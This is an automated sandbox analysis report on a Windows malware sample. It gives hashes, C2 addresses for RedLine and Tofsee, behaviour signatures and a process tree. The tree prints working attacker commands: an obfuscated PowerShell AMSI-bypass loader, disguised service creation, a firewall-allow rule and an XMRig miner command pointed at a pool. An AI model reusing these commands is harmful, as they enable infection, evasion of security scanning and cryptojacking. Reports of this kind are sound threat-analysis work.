Analysis

  • max time kernel
    76s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2022 10:55

General

  • Target

    25662735c61aad88fad33ef29edffbf9ed738556135774da119bb9eadb321fdd.exe

  • Size

    169KB

  • MD5

    747220026ace8bb810f557d9a7d3a9f9

  • SHA1

    9e7e544b460455a9d85959b24a687ac7e8541b19

  • SHA256

    25662735c61aad88fad33ef29edffbf9ed738556135774da119bb9eadb321fdd

  • SHA512

    60640e98d660ed5e9499ef5b889ab2cf38465c8bc1938201a7a7400c72b116de962a4ea3632af8335ab8c5dc4d45143056d26d99400dad50ce296f79bcfd01bc

  • SSDEEP

    3072:sWDL5R45mHq8OjJ1SmZ/gDivi6F0VZBnel6/PkW4n:FLrjH8/BF0tel

Malware Config

Extracted

Family

redline

Botnet

LogsDiller Cloud (Sup: @mr_golds)

C2

77.73.134.27:8163

Attributes
  • auth_value

    56c6f7b9024c076f0a96931453da7e56

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Detects Smokeloader packer 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 7 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 11 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\25662735c61aad88fad33ef29edffbf9ed738556135774da119bb9eadb321fdd.exe
    "C:\Users\Admin\AppData\Local\Temp\25662735c61aad88fad33ef29edffbf9ed738556135774da119bb9eadb321fdd.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4988
  • C:\Users\Admin\AppData\Local\Temp\F32F.exe
    C:\Users\Admin\AppData\Local\Temp\F32F.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2728
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
        PID:88280
    • C:\Users\Admin\AppData\Local\Temp\F8AE.exe
      C:\Users\Admin\AppData\Local\Temp\F8AE.exe
      1⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:77472
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mrcxqciz\
        2⤵
          PID:88396
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rmwsgrw.exe" C:\Windows\SysWOW64\mrcxqciz\
          2⤵
            PID:88468
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create mrcxqciz binPath= "C:\Windows\SysWOW64\mrcxqciz\rmwsgrw.exe /d\"C:\Users\Admin\AppData\Local\Temp\F8AE.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
            • Launches sc.exe
            PID:88544
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description mrcxqciz "wifi internet conection"
            2⤵
            • Launches sc.exe
            PID:88644
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" start mrcxqciz
            2⤵
            • Launches sc.exe
            PID:88756
          • C:\Windows\SysWOW64\netsh.exe
            "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
            2⤵
            • Modifies Windows Firewall
            PID:88876
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 77472 -s 1360
            2⤵
            • Program crash
            PID:88300
        • C:\Users\Admin\AppData\Local\Temp\FEBA.exe
          C:\Users\Admin\AppData\Local\Temp\FEBA.exe
          1⤵
          • Executes dropped EXE
          PID:88344
        • C:\Users\Admin\AppData\Local\Temp\5EE.exe
          C:\Users\Admin\AppData\Local\Temp\5EE.exe
          1⤵
          • Executes dropped EXE
          • Checks computer location settings
          PID:88596
          • C:\Users\Admin\AppData\Local\Temp\syst.exe
            "C:\Users\Admin\AppData\Local\Temp\syst.exe"
            2⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            PID:3520
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c schtasks /create /TN "$77host" /XML "C:\Windows\SysWOW64\$77Host.xml" /f
              3⤵
                PID:4476
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /TN "$77host" /XML "C:\Windows\SysWOW64\$77Host.xml" /f
                  4⤵
                  • Creates scheduled task(s)
                  PID:4900
              • C:\Windows\SysWOW64\$77Install.exe
                "C:\Windows\SysWOW64\$77Install.exe"
                3⤵
                • Executes dropped EXE
                • Drops file in Windows directory
                PID:1144
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 88596 -s 2392
              2⤵
              • Program crash
              PID:2304
          • C:\Windows\SysWOW64\mrcxqciz\rmwsgrw.exe
            C:\Windows\SysWOW64\mrcxqciz\rmwsgrw.exe /d"C:\Users\Admin\AppData\Local\Temp\F8AE.exe"
            1⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:88804
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              2⤵
              • Sets service image path in registry
              • Drops file in System32 directory
              • Suspicious use of SetThreadContext
              • Modifies data under HKEY_USERS
              PID:89000
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
                3⤵
                  PID:1592
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 88804 -s 516
                2⤵
                • Program crash
                PID:88304
            • C:\Users\Admin\AppData\Local\Temp\9F7.exe
              C:\Users\Admin\AppData\Local\Temp\9F7.exe
              1⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:88824
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgA4AA==
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:208
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 208 -s 1668
                  3⤵
                  • Program crash
                  PID:5992
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 5992 -s 608
                    4⤵
                    • Program crash
                    PID:6092
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 88824 -s 1580
                2⤵
                • Program crash
                PID:5780
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 77472 -ip 77472
              1⤵
                PID:88956
              • C:\Users\Admin\AppData\Local\Temp\1419.exe
                C:\Users\Admin\AppData\Local\Temp\1419.exe
                1⤵
                • Executes dropped EXE
                PID:89056
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 88804 -ip 88804
                1⤵
                  PID:89040
                • C:\Users\Admin\AppData\Local\Temp\2243.exe
                  C:\Users\Admin\AppData\Local\Temp\2243.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks computer location settings
                  • Suspicious use of WriteProcessMemory
                  PID:4800
                  • C:\Users\Admin\AppData\Roaming\GoogleSetup.exe
                    "C:\Users\Admin\AppData\Roaming\GoogleSetup.exe"
                    2⤵
                    • Executes dropped EXE
                    • Checks computer location settings
                    PID:3424
                    • C:\Users\Admin\AppData\Roaming\GoogleSetupUpdate.exe
                      "C:\Users\Admin\AppData\Roaming\GoogleSetupUpdate.exe"
                      3⤵
                      • Executes dropped EXE
                      • Checks computer location settings
                      • Adds Run key to start application
                      PID:3492
                      • C:\Users\Admin\AppData\Roaming\Google Update.exe
                        "C:\Users\Admin\AppData\Roaming\Google Update.exe" -l zenh.alter.68@gmail.com
                        4⤵
                        • Executes dropped EXE
                        • Checks computer location settings
                        • Suspicious use of SetWindowsHookEx
                        PID:8
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:2672
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 788
                      2⤵
                      • Program crash
                      PID:5720
                  • C:\Windows\explorer.exe
                    C:\Windows\explorer.exe
                    1⤵
                      PID:3916
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:2392
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:3856
                        • C:\Windows\SysWOW64\explorer.exe
                          C:\Windows\SysWOW64\explorer.exe
                          1⤵
                            PID:4340
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 776
                              2⤵
                              • Program crash
                              PID:5880
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:1716
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 1716 -s 804
                                2⤵
                                • Program crash
                                PID:5888
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              1⤵
                                PID:4808
                              • C:\Windows\explorer.exe
                                C:\Windows\explorer.exe
                                1⤵
                                  PID:4016
                                • C:\Windows\SysWOW64\explorer.exe
                                  C:\Windows\SysWOW64\explorer.exe
                                  1⤵
                                    PID:3836
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 88596 -ip 88596
                                    1⤵
                                      PID:1244
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:JQDqnBXXCmDt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fAyCVAOUPsdhap,[Parameter(Position=1)][Type]$JwSlUdDBzV)$DzLDGOmCLYh=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$DzLDGOmCLYh.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$fAyCVAOUPsdhap).SetImplementationFlags('Runtime,Managed');$DzLDGOmCLYh.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$JwSlUdDBzV,$fAyCVAOUPsdhap).SetImplementationFlags('Runtime,Managed');Write-Output $DzLDGOmCLYh.CreateType();}$JUouKJhQpOHnW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$pKTjhXUlsfqnyU=$JUouKJhQpOHnW.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$HmNoTXSbsMfxvLyllii=JQDqnBXXCmDt @([String])([IntPtr]);$hjERcipOjCZzEXfyYpCwfT=JQDqnBXXCmDt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$CKNJekWcOJk=$JUouKJhQpOHnW.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$gNACskSRqnzJcR=$pKTjhXUlsfqnyU.Invoke($Null,@([Object]$CKNJekWcOJk,[Object]('Load'+'LibraryA')));$ZRnlIFTMWQIJyyXAV=$pKTjhXUlsfqnyU.Invoke($Null,@([Object]$CKNJekWcOJk,[Object]('Vir'+'tual'+'Pro'+'tect')));$RdJtXkb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gNACskSRqnzJcR,$HmNoTXSbsMfxvLyllii).Invoke('a'+'m'+'si.dll');$CyLcKMvkuYOlbwSVm=$pKTjhXUlsfqnyU.Invoke($Null,@([Object]$RdJtXkb,[Object]('Ams'+'iSc'+'an'+'Buffer')));$GymlrNgUnG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZRnlIFTMWQIJyyXAV,$hjERcipOjCZzEXfyYpCwfT).Invoke($CyLcKMvkuYOlbwSVm,[uint32]8,4,[ref]$GymlrNgUnG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$CyLcKMvkuYOlbwSVm,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZRnlIFTMWQIJyyXAV,$hjERcipOjCZzEXfyYpCwfT).Invoke($CyLcKMvkuYOlbwSVm,[uint32]8,0x20,[ref]$GymlrNgUnG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
                                      1⤵
                                        PID:5160
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                                        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZOQItZplvCya{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WxRhIMgkOACsJn,[Parameter(Position=1)][Type]$aCIDZTCIfq)$eaxGikUvzBN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$eaxGikUvzBN.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$WxRhIMgkOACsJn).SetImplementationFlags('Runtime,Managed');$eaxGikUvzBN.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$aCIDZTCIfq,$WxRhIMgkOACsJn).SetImplementationFlags('Runtime,Managed');Write-Output $eaxGikUvzBN.CreateType();}$TZzrxBmupYTSM=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$EhAFCtBHvCiROj=$TZzrxBmupYTSM.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$yPIRMoIXhLTauYwAXlv=ZOQItZplvCya @([String])([IntPtr]);$PHWmsYsxxlSEOJaofPDqwT=ZOQItZplvCya @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jHLbfqLQNdR=$TZzrxBmupYTSM.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$KoINqbGKVcLUbM=$EhAFCtBHvCiROj.Invoke($Null,@([Object]$jHLbfqLQNdR,[Object]('Load'+'LibraryA')));$zmytuTYUSyuNFPZaS=$EhAFCtBHvCiROj.Invoke($Null,@([Object]$jHLbfqLQNdR,[Object]('Vir'+'tual'+'Pro'+'tect')));$NyyHsxj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KoINqbGKVcLUbM,$yPIRMoIXhLTauYwAXlv).Invoke('a'+'m'+'si.dll');$IwblcddEJoSJgVQPU=$EhAFCtBHvCiROj.Invoke($Null,@([Object]$NyyHsxj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$xcwdEZCpjp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zmytuTYUSyuNFPZaS,$PHWmsYsxxlSEOJaofPDqwT).Invoke($IwblcddEJoSJgVQPU,[uint32]8,4,[ref]$xcwdEZCpjp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$IwblcddEJoSJgVQPU,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zmytuTYUSyuNFPZaS,$PHWmsYsxxlSEOJaofPDqwT).Invoke($IwblcddEJoSJgVQPU,[uint32]8,0x20,[ref]$xcwdEZCpjp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"
                                        1⤵
                                        • Modifies data under HKEY_USERS
                                        PID:5152
                                      • C:\Windows\System32\dllhost.exe
                                        C:\Windows\System32\dllhost.exe /Processid:{f9425502-c0f3-4e54-9b4d-93ae45cc785f}
                                        1⤵
                                          PID:5396
                                        • C:\Windows\SysWOW64\dllhost.exe
                                          C:\Windows\SysWOW64\dllhost.exe /Processid:{ab89aae1-dc00-440a-9a0a-67423ffb2a27}
                                          1⤵
                                            PID:5480
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 536
                                              2⤵
                                              • Program crash
                                              PID:5984
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5984 -s 608
                                                3⤵
                                                • Program crash
                                                PID:6084
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2672 -ip 2672
                                            1⤵
                                              PID:5592
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2392 -ip 2392
                                              1⤵
                                                PID:5608
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 88824 -ip 88824
                                                1⤵
                                                  PID:5624
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4340 -ip 4340
                                                  1⤵
                                                    PID:5668
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4808 -ip 4808
                                                    1⤵
                                                      PID:5772
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 5812 -ip 5812
                                                      1⤵
                                                        PID:5904
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 208 -ip 208
                                                        1⤵
                                                          PID:5872
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 5480 -ip 5480
                                                          1⤵
                                                            PID:5864
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 3836 -ip 3836
                                                            1⤵
                                                              PID:5812
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5992 -ip 5992
                                                              1⤵
                                                                PID:6036
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5984 -ip 5984
                                                                1⤵
                                                                  PID:6028
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 8 -ip 8
                                                                  1⤵
                                                                    PID:5748
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1716 -ip 1716
                                                                    1⤵
                                                                      PID:5732

                                                                    Network

                                                                    MITRE ATT&CK Matrix ATT&CK v6

                                                                    Execution

                                                                    Scheduled Task

                                                                    1
                                                                    T1053

                                                                    Persistence

                                                                    New Service

                                                                    1
                                                                    T1050

                                                                    Modify Existing Service

                                                                    1
                                                                    T1031

                                                                    Registry Run Keys / Startup Folder

                                                                    2
                                                                    T1060

                                                                    Scheduled Task

                                                                    1
                                                                    T1053

                                                                    Privilege Escalation

                                                                    New Service

                                                                    1
                                                                    T1050

                                                                    Scheduled Task

                                                                    1
                                                                    T1053

                                                                    Defense Evasion

                                                                    Modify Registry

                                                                    2
                                                                    T1112

                                                                    Credential Access

                                                                    Credentials in Files

                                                                    2
                                                                    T1081

                                                                    Discovery

                                                                    Query Registry

                                                                    3
                                                                    T1012

                                                                    System Information Discovery

                                                                    3
                                                                    T1082

                                                                    Peripheral Device Discovery

                                                                    1
                                                                    T1120

                                                                    Collection

                                                                    Data from Local System

                                                                    2
                                                                    T1005

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    • C:\Users\Admin\AppData\Local\Temp\1419.exe
                                                                      Filesize

                                                                      2.7MB

                                                                      MD5

                                                                      c0265881059ec2ecf23befda6fb64f9b

                                                                      SHA1

                                                                      8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                                                                      SHA256

                                                                      4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                                                                      SHA512

                                                                      0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                                                                    • C:\Users\Admin\AppData\Local\Temp\1419.exe
                                                                      Filesize

                                                                      2.7MB

                                                                      MD5

                                                                      c0265881059ec2ecf23befda6fb64f9b

                                                                      SHA1

                                                                      8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                                                                      SHA256

                                                                      4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                                                                      SHA512

                                                                      0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                                                                    • C:\Users\Admin\AppData\Local\Temp\2243.exe
                                                                      Filesize

                                                                      4.8MB

                                                                      MD5

                                                                      fa510caa09c5401c79f976a4bf59c348

                                                                      SHA1

                                                                      d13fad5b095ea1fe7a9cee9d6040e212539f7aa8

                                                                      SHA256

                                                                      cb39bdf5ad6889efba92da0f60f0b0f9c06ce831ef8ae2da3a80ddc0bdd12ebb

                                                                      SHA512

                                                                      2b6c90db6eb7b4c7f46cbe179b761558408e55132a4ec8f76bc63783e6207c2f58843a27474b910b72bcf9413290e8b3da529988bd58edff72d3cb8966f9f685

                                                                    • C:\Users\Admin\AppData\Local\Temp\2243.exe
                                                                      Filesize

                                                                      4.8MB

                                                                      MD5

                                                                      fa510caa09c5401c79f976a4bf59c348

                                                                      SHA1

                                                                      d13fad5b095ea1fe7a9cee9d6040e212539f7aa8

                                                                      SHA256

                                                                      cb39bdf5ad6889efba92da0f60f0b0f9c06ce831ef8ae2da3a80ddc0bdd12ebb

                                                                      SHA512

                                                                      2b6c90db6eb7b4c7f46cbe179b761558408e55132a4ec8f76bc63783e6207c2f58843a27474b910b72bcf9413290e8b3da529988bd58edff72d3cb8966f9f685

                                                                    • C:\Users\Admin\AppData\Local\Temp\5EE.exe
                                                                      Filesize

                                                                      473KB

                                                                      MD5

                                                                      46ef7abbf7ea6449a89f89e996d6d1b8

                                                                      SHA1

                                                                      6fb6f9fc4d20ee1d7347c8f525ee398f2f8dbb7d

                                                                      SHA256

                                                                      4651c0d6a9e99dc06b67f48c65ed29df256b5729e5fe05823ee5f1d3049897ad

                                                                      SHA512

                                                                      bb12b5af547726c1e63f54f58138ad4e8285aaf2093d7552a49bf799da7faab1a0df48c53fb6eeaeb03697bee6b00f99d643ddc73ee2fec69663730ed6fec07c

                                                                    • C:\Users\Admin\AppData\Local\Temp\5EE.exe
                                                                      Filesize

                                                                      473KB

                                                                      MD5

                                                                      46ef7abbf7ea6449a89f89e996d6d1b8

                                                                      SHA1

                                                                      6fb6f9fc4d20ee1d7347c8f525ee398f2f8dbb7d

                                                                      SHA256

                                                                      4651c0d6a9e99dc06b67f48c65ed29df256b5729e5fe05823ee5f1d3049897ad

                                                                      SHA512

                                                                      bb12b5af547726c1e63f54f58138ad4e8285aaf2093d7552a49bf799da7faab1a0df48c53fb6eeaeb03697bee6b00f99d643ddc73ee2fec69663730ed6fec07c

                                                                    • C:\Users\Admin\AppData\Local\Temp\9F7.exe
                                                                      Filesize

                                                                      1.1MB

                                                                      MD5

                                                                      ff97413fadad115998666fd129ccb86d

                                                                      SHA1

                                                                      152ca9dd31bf0c84f435154727186c8dca441f00

                                                                      SHA256

                                                                      6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                                                                      SHA512

                                                                      2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                                                                    • C:\Users\Admin\AppData\Local\Temp\9F7.exe
                                                                      Filesize

                                                                      1.1MB

                                                                      MD5

                                                                      ff97413fadad115998666fd129ccb86d

                                                                      SHA1

                                                                      152ca9dd31bf0c84f435154727186c8dca441f00

                                                                      SHA256

                                                                      6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                                                                      SHA512

                                                                      2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                                                                    • C:\Users\Admin\AppData\Local\Temp\F32F.exe
                                                                      Filesize

                                                                      2.6MB

                                                                      MD5

                                                                      d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                                                                      SHA1

                                                                      ed7413773b7c9154c9aeed9d173f61577522e0db

                                                                      SHA256

                                                                      576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                                                                      SHA512

                                                                      858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                                                                    • C:\Users\Admin\AppData\Local\Temp\F32F.exe
                                                                      Filesize

                                                                      2.6MB

                                                                      MD5

                                                                      d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                                                                      SHA1

                                                                      ed7413773b7c9154c9aeed9d173f61577522e0db

                                                                      SHA256

                                                                      576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                                                                      SHA512

                                                                      858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                                                                    • C:\Users\Admin\AppData\Local\Temp\F8AE.exe
                                                                      Filesize

                                                                      169KB

                                                                      MD5

                                                                      ae7f1aa5153b0c9f876dbeb6c031b513

                                                                      SHA1

                                                                      92bd27802eacddbf2cceeba53eb54b6ca1ea856f

                                                                      SHA256

                                                                      4a19db193094b2a358855deba24ca90126389b1e202ed97c0e581381851abd06

                                                                      SHA512

                                                                      d8f0b7ae390efcff0c23d0b7dd74472bc0ae821f348599615ec74f4ea8263efd5db90e0c0bc8db9b0066b23be4de54b522b6b6e7a518c3191a0436330abcfb1f

                                                                    • C:\Users\Admin\AppData\Local\Temp\F8AE.exe
